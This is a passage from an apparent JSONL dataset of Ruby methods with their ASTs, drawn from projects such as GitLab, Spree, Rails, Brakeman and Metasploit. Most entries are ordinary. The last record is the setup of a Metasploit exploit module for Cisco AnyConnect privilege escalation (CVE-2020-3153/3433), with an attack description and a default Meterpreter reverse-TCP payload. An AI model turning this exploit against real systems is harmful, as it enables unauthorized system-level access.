sym\",\"children\":[\"omniauth_step_up_auth_for_admin_mode\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"requested_scope_namespace?\",{\"type\":\"lvar\",\"children\":[\"requested_scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"omniauth_step_up_auth_for_namespace\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"send\",\"children\":[null,\"session_from\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"provider\",{\"type\":\"send\",\"children\":[null,\"current_provider_from\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"step_up_auth_flow\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"Oidc\"]},\"StepUpAuthentication\"]},\"build_flow\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session\"]},{\"type\":\"lvar\",\"children\":[\"session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"requested_scope\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"step_up_auth_flow\"]},\"enabled_by_config?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"step_up_auth_flow\"]},\"request!\"]}]}]}","id":"3aa7b1ba-7e4a-48cf-a514-56aefe1c0f98"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/observability/o11y_provisioning_client.rb","start_line":9,"raw_source":"def provision_group(group, user)\n      api_request_data = build_api_request_data(group, user)\n      api_success = make_api_request(api_request_data)\n\n      if api_success\n        {\n          success: true,\n          settings_params: build_settings_params(api_request_data)\n        }\n      else\n        {\n          success: false,\n          error: 'API call failed for observability group setting'\n        }\n      end\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"provision_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_request_data\",{\"type\":\"send\",\"children\":[null,\"build_api_request_data\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"api_success\",{\"type\":\"send\",\"children\":[null,\"make_api_request\",{\"type\":\"lvar\",\"children\":[\"api_request_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_success\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings_params\"]},{\"type\":\"send\",\"children\":[null,\"build_settings_params\",{\"type\":\"lvar\",\"children\":[\"api_request_data\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"API call failed for observability group setting\"]}]}]}]}]}]}","id":"3d3f4f3b-f4ea-4402-a674-f45024316c0b"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/account/store_credits_controller.rb","start_line":5,"raw_source":"def index\n        @store_credit_events = Spree::StoreCreditEvent.where(store_credit: user_store_credits).\n                               exposed_events.\n                               reverse_chronological.\n                               page(params[:page]).per(25)\n      end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@store_credit_events\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"StoreCreditEvent\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"store_credit\"]},{\"type\":\"send\",\"children\":[null,\"user_store_credits\"]}]}]}]},\"exposed_events\"]},\"reverse_chronological\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"int\",\"children\":[25]}]}]}]}","id":"68e7f3ec-2815-40b9-904e-129c7c327030"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/services/spree/webhooks/subscribers/make_request.rb","start_line":73,"raw_source":"def use_ssl?\n          uri.scheme == 'https'\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"use_ssl?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"https\"]}]}]}","id":"41633ba9-edcd-40f8-a325-17d2d04a93a8"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_content_tag.rb","start_line":104,"raw_source":"def check_argument result, exp\n    #Check contents of raw() calls directly\n    if raw? exp\n      arg = process exp.first_arg\n    else\n      arg = process exp\n    end\n\n    if input = has_immediate_user_input?(arg)\n      message = msg(\"Unescaped \", msg_input(input), \" in \", msg_code(\"content_tag\"))\n\n      add_result result\n\n      warn :result => result,\n        :warning_type => \"Cross-Site Scripting\",\n        :warning_code => :xss_content_tag,\n        :message => message,\n        :user_input => input,\n        :confidence => :high,\n        :link_path => \"content_tag\",\n        :cwe_id => [79]\n\n    elsif not tracker.options[:ignore_model_output] and match = has_immediate_model?(arg)\n      unless IGNORE_MODEL_METHODS.include? match.method\n        add_result result\n\n        if likely_model_attribute? match\n          confidence = :high\n        else\n          confidence = :medium\n        end\n\n        warn :result => result,\n          :warning_type => \"Cross-Site Scripting\",\n          :warning_code => :xss_content_tag,\n          :message => msg(\"Unescaped model attribute in \", msg_code(\"content_tag\")),\n          :user_input => match,\n          :confidence => confidence,\n          :link_path => \"content_tag\",\n          :cwe_id => [79]\n      end\n\n    elsif @matched\n      return if @matched.type == :model and tracker.options[:ignore_model_output]\n\n      message = msg(\"Unescaped \", msg_input(@matched), \" in \", msg_code(\"content_tag\"))\n\n      add_result result\n\n      warn :result => result,\n        :warning_type => \"Cross-Site Scripting\",\n        :warning_code => :xss_content_tag,\n        :message => message,\n        :user_input => @matched,\n        :confidence => :medium,\n        :link_path => \"content_tag\",\n        :cwe_id => [79]\n    end\n  end","complexity_score":66.95,"ast_json":"{\"type\":\"def\",\"children\":[\"check_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw?\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"first_arg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[null,\"has_immediate_user_input?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Unescaped \"]},{\"type\":\"send\",\"children\":[null,\"msg_input\",{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"str\",\"children\":[\" in \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"content_tag\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"xss_content_tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"content_tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[79]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_model_output\"]}]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"has_immediate_model?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IGNORE_MODEL_METHODS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"method\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"likely_model_attribute?\",{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"lvasgn\",\"children\":[\"confidence\",{\"type\":\"sym\",\"children\":[\"medium\"]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"xss_content_tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Unescaped model attribute in \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"content_tag\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"lvar\",\"children\":[\"match\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"lvar\",\"children\":[\"confidence\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"content_tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[79]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@matched\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@matched\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignore_model_output\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"str\",\"children\":[\"Unescaped \"]},{\"type\":\"send\",\"children\":[null,\"msg_input\",{\"type\":\"ivar\",\"children\":[\"@matched\"]}]},{\"type\":\"str\",\"children\":[\" in \"]},{\"type\":\"send\",\"children\":[null,\"msg_code\",{\"type\":\"str\",\"children\":[\"content_tag\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Cross-Site Scripting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"xss_content_tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"ivar\",\"children\":[\"@matched\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"medium\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"content_tag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[79]}]}]}]}]}]},null]}]}]}]}]}","id":"8e7667c3-b1ed-4e6f-baa2-0343ccc96a92"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/users/confirm_flag_reactions.rb","start_line":11,"raw_source":"def call\n      relation = Reaction.where(category: \"vomit\", status: \"valid\").live_reactable\n      user_flags = relation.where(reactable: user)\n      user_flags.update_all(status: \"confirmed\")\n\n      article_flags = relation.where(reactable: user.articles)\n      article_flags.update_all(status: \"confirmed\")\n\n      comment_flags = relation.where(reactable: user.comments)\n      comment_flags.update_all(status: \"confirmed\")\n    end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"vomit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"valid\"]}]}]}]},\"live_reactable\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_flags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_flags\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"confirmed\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"article_flags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"articles\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"article_flags\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"confirmed\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comment_flags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"comments\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_flags\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"confirmed\"]}]}]}]}]}]}","id":"2534bdc8-d2bd-4ae9-bf29-b6c5c9bd1510"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access.rb","start_line":533,"raw_source":"def check_repository_disk_size\n      check_size_against_limit(repository.object_directory_size)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_repository_disk_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"check_size_against_limit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"object_directory_size\"]}]}]}","id":"7a59f964-b7b0-47be-a1cb-9ecef190371f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/collection_proxy.rb","start_line":927,"raw_source":"def include?(record)\n        !!@association.include?(record)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"include?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@association\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"!\"]},\"!\"]}]}","id":"85fc7df6-ae26-4daa-ab0d-820d297d31ca"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/encrypted/encrypted_command.rb","start_line":50,"raw_source":"def ensure_encrypted_configuration_has_been_added\n          encrypted_file_generator.add_encrypted_file_silently(content_path, key_path)\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_encrypted_configuration_has_been_added\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encrypted_file_generator\"]},\"add_encrypted_file_silently\",{\"type\":\"send\",\"children\":[null,\"content_path\"]},{\"type\":\"send\",\"children\":[null,\"key_path\"]}]}]}","id":"cff5711e-e62f-48f3-8ff3-9376b93c2524"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/crypto/rc4_hmac.rb","start_line":35,"raw_source":"def checksum(key, msg_type, data)\n            ksign = OpenSSL::HMAC.digest('MD5', key, \"signaturekey\\x00\")\n            md5_hash = Rex::Text.md5_raw(usage_str(msg_type) + data)\n\n            ksign = OpenSSL::HMAC.digest('MD5', ksign, md5_hash)\n          end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"checksum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"msg_type\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ksign\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"digest\",{\"type\":\"str\",\"children\":[\"MD5\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"signaturekey\\u0000\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"md5_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"md5_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usage_str\",{\"type\":\"lvar\",\"children\":[\"msg_type\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ksign\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"HMAC\"]},\"digest\",{\"type\":\"str\",\"children\":[\"MD5\"]},{\"type\":\"lvar\",\"children\":[\"ksign\"]},{\"type\":\"lvar\",\"children\":[\"md5_hash\"]}]}]}]}]}","id":"da5a36b7-3965-48f8-b218-b179d983c056"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/namespace.rb","start_line":359,"raw_source":"def respond_to?(method, include_private = false)\n        super || base.respond_to?(method, include_private)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"include_private\"]}]}]}]}","id":"e3642dee-6104-4937-93c4-eef64f2f4371"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/models/queries/storages/file_links/filter/storage_filter.rb","start_line":47,"raw_source":"def where\n      operator_strategy.sql_for_field(values, ::Storages::FileLink.table_name, \"storage_id\")\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator_strategy\"]},\"sql_for_field\",{\"type\":\"send\",\"children\":[null,\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"FileLink\"]},\"table_name\"]},{\"type\":\"str\",\"children\":[\"storage_id\"]}]}]}","id":"966b4412-6280-4dfb-8178-2b30c1fbf911"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/anyconnect_lpe.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)',\n        'Description' => %q{\n          The installer component of Cisco AnyConnect Secure Mobility Client for Windows\n          prior to 4.8.02042 is vulnerable to path traversal and allows local attackers\n          to create/overwrite files in arbitrary locations with system level privileges.\n\n          The installer component of Cisco AnyConnect Secure Mobility Client for Windows\n          prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local attackers\n          to execute code on the affected machine with with system level privileges.\n\n          Both attacks consist in sending a specially crafted IPC request to the TCP\n          port 62522 on the loopback device, which is exposed by the Cisco AnyConnect\n          Secure Mobility Agent service. This service will then launch the vulnerable\n          installer component (`vpndownloader`), which copies itself to an arbitrary\n          location (CVE-2020-3153) or with a supplied DLL (CVE-2020-3433) before being\n          executed with system privileges. Since `vpndownloader` is also vulnerable to DLL\n          hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same\n          location `vpndownloader` will be copied to get code execution with system\n          privileges.\n\n          The CVE-2020-3153 exploit has been successfully tested against Cisco AnyConnect\n          Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10\n          version 1909 (x64) and Windows 7 SP1 (x86); the CVE-2020-3434 exploit has been\n          successfully tested against Cisco AnyConnect Secure Mobility Client versions\n          4.5.02036, 4.6.03049, 4.7.04056, 4.8.01090 and 4.8.03052 on Windows 10 version\n          1909 (x64) and 4.7.4056 on Windows 7 SP1 (x64).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Yorick Koster', # original PoC CVE-2020-3153, analysis\n          'Antoine Goichot (ATGO)', # PoC CVE-2020-3153, original PoC for CVE-2020-3433, update of msf module\n          'Christophe De La Fuente' # msf module for CVE-2020-3153\n        ],\n        'Platform' => 'win',\n        'Arch' => [ ARCH_X86, ARCH_X64 ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Targets' => [\n          [\n            'Windows x86/x64 with x86 payload',\n            {\n              'Arch' => ARCH_X86\n            }\n          ]\n        ],\n        'Privileged' => true,\n        'References' => [\n          ['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],\n          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],\n          ['CVE', '2020-3153'],\n          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-anyconnect-dll-F26WwJW'],\n          ['CVE', '2020-3433']\n        ],\n        'DisclosureDate' => '2020-08-05',\n        'Notes' => {\n          'SideEffects' => [ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION],\n          'Stability' => [CRASH_SAFE]\n        },\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'PAYLOAD' => 'windows/meterpreter/reverse_tcp',\n          'FileDropperDelay' => 10\n        },\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              core_channel_open\n            ]\n          }\n        }\n      )\n    )\n\n    register_options [\n      OptString.new('INSTALL_PATH', [\n        false,\n        'Cisco AnyConnect Secure Mobility Client installation path (where \\'vpndownloader.exe\\''\\\n          ' should be found). It will be automatically detected if not set.'\n      ]),\n      OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-3433', ['CVE-2020-3433', 'CVE-2020-3153']])\n    ]\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The installer component of Cisco AnyConnect Secure Mobility Client for Windows\\n\"]},{\"type\":\"str\",\"children\":[\"          prior to 4.8.02042 is vulnerable to path traversal and allows local attackers\\n\"]},{\"type\":\"str\",\"children\":[\"          to create/overwrite files in arbitrary locations with system level privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The installer component of Cisco AnyConnect Secure Mobility Client for Windows\\n\"]},{\"type\":\"str\",\"children\":[\"          prior to 4.9.00086 is vulnerable to a DLL hijacking and allows local 